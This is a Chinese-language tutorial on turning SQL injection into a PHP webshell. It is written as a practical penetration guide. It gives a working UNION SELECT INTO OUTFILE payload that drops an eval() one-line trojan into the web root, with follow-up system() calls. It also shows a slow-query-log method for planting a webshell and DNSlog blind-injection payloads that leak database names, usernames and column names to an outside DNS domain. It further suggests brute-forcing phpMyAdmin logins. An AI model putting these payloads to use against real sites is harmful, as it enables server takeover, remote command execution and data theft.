SQL注入写webshell
1.什么是一句话木马
一句话木马是一种短小但是功能完善的木马客户端,通过它我们可以构造系统命令执行,从而
达到控制操作系统的目的。它的隐蔽性好,功能强大。一般来说渗透过程中遵从先传小马,再传
大马的逻辑。
我们把恶意的函数写入到文件里去,通过访问文件,搭建平台会执行文件中的参数,而这个文
件可以被我们利用来执行操作,从而达到了控制目标操作系统的目的。
方法1:
有三个条件:
1.首先需要知道远程目录(猜测+经验)
可以通过@@basedir 查询到Mysql的目录,从而去猜测对方的网站目录。有时候Phpinfo()探针也可以泄露地址
举例:E:/phpstudy/PHPTutorial/mysql
E:/phpstudy/PHPTutorial/www/
2.其次需要远程目录有写的权限
3.需要数据库开启了secure_file_priv (如果关闭,则详情方法2)
MYSQL新特性secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出,
这个对我们写入shell有重要的影响
写入文件的时候还需要看php.ini,里面的gpc是否开启,如果开启,特殊的字符都会被转
移,’会被转义成\',这个时候我们需要使用十六进制编码进行绕过。
查看数据库对于secure_file_priv写入写出的权限:
show global variables like"%secure%"; #查看更多
show variables like '%secure_file_priv%'; #仅查看secure_file_priv
开启虚拟机下或者其他情况已经可以管理配置文件情况下,才可以修改secure_file_priv 为空
1.找到mysql文件夹下的my.ini文件,用记事本打开
2.在mysql下添加
secure_file_priv=
(等号后面打一个空格就可以了,不用打“”) 然后保存;
3.在cmd下查看现在的结果。此时就可以正常对虚拟机进行写入的操作了!(在实战过程中除非有文件访问修改权,否则没办法修改。这时就要参考方法2,爆破获得Phpmyadmin的账号密码进入后台进行传马操作!)
1.小马(同于之前的version()查询,写在union select后的回显位置即可)
小马代码:
union select 1,2,"<?php eval($_GET['w']);?>" into outfile "C:/phpstudy/PHPTutorial/WWW/haha.php" %23
(必须是/ 而不是\,否则不能正常执行)(远程目录需要自己猜测)(w为密码,可以自行更改)
2.后续getshell中URL传参命令: 127.0.0.1/haha.php?w=system('dir'); (dir可以改成ipconfig等。具体可以在shell管理工具里面操作更加方便)(127.0.0.1是模糊地址,需要根据情况更改)(w是密码,根据传入的小马进行更改)
3.开始传大木马、将大木马传到其目录。可以有更多的权限(在shell工具可以写入)
方法2:慢日志写shell(若方法1中参数为null不可继续,但可以成功进入phpMyAdmin且有写的权限时)
#1.查看当前慢查询日志目录
show variables like '%slow%';
#可以返回如下的变量:
#log_slow_queries OFF
#slow_launch_time 2 #慢日志最小写入时间
#slow_query_log OFF #慢日志查询功能的开关
#slow_query_log_file E:phpStudy/XXX #查看慢日志的目录
#2.开启慢查询日志的功能
set global slow_query_log=on;
#3.重新设置日志路径,注意设置为网站的绝对路径(global)。
set global slow_query_log_file="E:/PHPCUSTOM/wwwroot/accessinfo.php";
(路径自行设置)(accessinfo.php可以自行命名,如haha.php)
#4.再次查看日志路径,确认是否被成功修改(如果结果不对,需要不断的重复3直到修改完成)
show variables like '%slow%';
#(补充)调整增加慢日志写入时间,这样可以避免一些日常的语句写入。可以更加高效的写入webshell
set global slow_launch_time=5; (5s也可以自行设定。但是后续写入的时间sleep必须大于这个时间)
#5.执行Sql语句,写webshell进慢日志文件
select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10);
(密码为cmd,自行设置)(sleep(10)将时间设置为10s,大于写入时间就可以成功写入慢日志)
#6.成功用方法2写入小马。这样可以直接去shell管理工具传大马进行管理。同于方法1的后续。
DNSlog注入(配合盲注)
mysql.ini--->添加在[mysqld]最后 secure_file_priv=
http://www.dnslog.cn/
select load_file(concat('\\\\',(select username from table1 where id = 1),'xxxdns域名地址'));
1' and if((select load_file(concat('\\\\',(select xxxxx)),'.xxxx\\yyy')),1,0) --+
1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx\\suibianxie'))),1,0) --+
1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.xxxx\\suibian'))),1,0) --+